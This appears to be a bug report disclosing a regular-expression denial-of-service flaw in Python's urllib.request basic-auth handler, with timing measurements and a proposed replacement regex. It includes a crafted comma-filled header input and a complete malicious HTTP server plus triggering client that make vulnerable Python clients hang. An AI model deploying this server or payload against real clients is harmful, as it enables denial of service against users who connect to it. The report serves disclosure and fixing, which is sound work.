The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).

The regex is:

    rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
                    'realm=(["\']?)([^"\']*)\\2', re.I)

The first line can act like:

    (,*,)*(,+)[ \t]

Showing that there are many different ways to match a long sequence of commas.

Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".

We can craft a malicious input:

    urllib.request.AbstractBasicAuthHandler.rx.search(
        "basic " + ("," * 100) + "A"
    )

Which causes catastrophic backtracking and takes a large amount of CPU time to process.

I tested the length of time (seconds) to complete for different numbers of commas in the string:

18   0.289
19   0.57
20   1.14
21   2.29
22   4.55
23   9.17
24  18.3
25  36.5
26  75.1
27 167

Showing an exponential relationship O(2^x) !

The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.

Example malicious server:

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_basic_auth(n_commas):
        commas = "," * n_commas
        return f"basic {commas}A"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(401)
            n_commas = (
                int(self.path[1:])
                if len(self.path) > 1 else
                65509
            )
            value = make_basic_auth(n_commas)
            self.send_header("www-authenticate", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

Vulnerable client:

    import urllib.request
    opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
    opener.open("http://localhost:44020/")

As such, python applications using urllib.request may need to be careful not to visit malicious servers.

I think the regex can be replaced with:
    rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)

- Ben